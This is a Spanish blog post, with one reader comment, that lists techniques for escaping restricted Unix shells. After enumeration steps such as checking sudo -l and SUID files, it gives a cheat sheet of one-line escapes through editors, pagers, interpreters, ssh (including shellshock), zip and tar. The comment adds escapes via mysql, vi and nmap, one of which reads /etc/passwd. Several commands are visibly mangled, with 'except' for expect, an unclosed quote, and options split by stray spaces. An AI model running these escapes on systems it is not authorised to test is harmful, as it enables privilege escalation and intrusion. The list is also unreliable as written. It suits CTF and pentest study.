Técnicas para escapar de shells restringidas (restricted shells bypassing)

Recientemente, @n4ckhcker y @h4d3sw0rmen publicaron en exploit-db un breve pero útil paper para escapar de shells restringidas como rbash, rksh y rsh, ya sabéis, aquellas que bloquean algunos de comandos como cd, ls, echo, etc., restringen variables de entorno como SHELL, PATH, USER y a veces incluso comandos con / o las salidas de redireccionamiento como >, >>; todo ello para añadir una capa extra de seguridad para protegerse contra posibles atacantes, comandos peligrosos o simplemente como una prueba en un CTF. A continuación se listan la mayoría de las técnicas para bypassear estas shells restringidas:

Enumeración 
1) Primero debemos verificar si se pueden ejecutar comandos como cd/ls/echo, etc.
2) Debemos verificar si podemos usar operadores como >, >>, <, |.
3) Necesitamos verificar si están disponibles lenguajes de programación disponibles como perl, ruby, python, etc.
4) Qué comandos podemos ejecutar como root (sudo -l).
5) Comprobar si hay archivos o comandos con SUID.
6) Hay que verificar en qué shell estamos: echo $SHELL (normalmente en rbash)
7) Verificar las variables de entorno: ejecutar env o printenv

Técnicas de explotación normales
1) si "/" está permitido se puede ejecutar /bin/sh o /bin/bash.
2) si podemos ejecutar el comando cp podemos copiar /bin/sh o /bin/bash en el directorio.
3) ftp > !/bin/sh o !/bin/bash
4) gdb > !/bin/sh o !/bin/bash
5) more/man/less > !/bin/sh o !/bin/bash
6) vim > !/bin/sh o !/bin/bash
7) rvim > :python import os; os.system("/bin/bash )
8) scp > scp -S /path/yourscript x y:
9) awk > awk 'BEGIN {system("/bin/sh o /bin/bash")}'
10) find > find / -name test -exec /bin/sh o /bin/bash \;

Técnicas de lenguajes de programación
1) except > except spawn sh then sh.
2) python > python -c 'import os; os.system("/bin/sh")'
3) php > php -a then exec("sh -i");
4) perl > perl -e 'exec "/bin/sh";'
5) lua > os.execute('/bin/sh').
6) ruby > exec "/bin/sh"

Técnicas avanzadas:
1) ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
2) ssh2 > ssh username@IP -t "bash --noprofile"
3) ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4) ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
5) git > git help status > luego puedes ejecutar !/bin/bash
6) pico > pico -s "/bin/bash" luego puedes escribir /bin/bash y pulsar CTRL + T
7) zip > zip /tmp/test.zip /tmp/test -T --unzip -command="sh -c /bin/bash"
8) tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint -action=exec=/bin/bash

Prácticas y labs:
- https://www.root-me.org/en/Challenges/App-Script/Restricted-shells
- https://blog.mallardlabs.com/hackthebox-solidstate-writeup/
- http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-bash/

Más info:
- https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
- https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells
- https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
- https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/
- http://securebean.blogspot.com.es/2014/05/escaping-restricted-shell_3.html
- http://ud64.com/ask/61/escaping-bypass-from-jail-restricted-linux-shells

1 comentarios :

  1. Hay algunas aplicaciones desde las que también podemos ejecutar cosas en la consola.
    mysql> \! cat /etc/passwd
    Desde vi :!bash o :!set shell=/bin/bash:shell
    Y desde nmap también se podia (Y se puede en versiones antiguas) iniciándolo con --interactive y saliendo a shell con !sh

    ResponderEliminar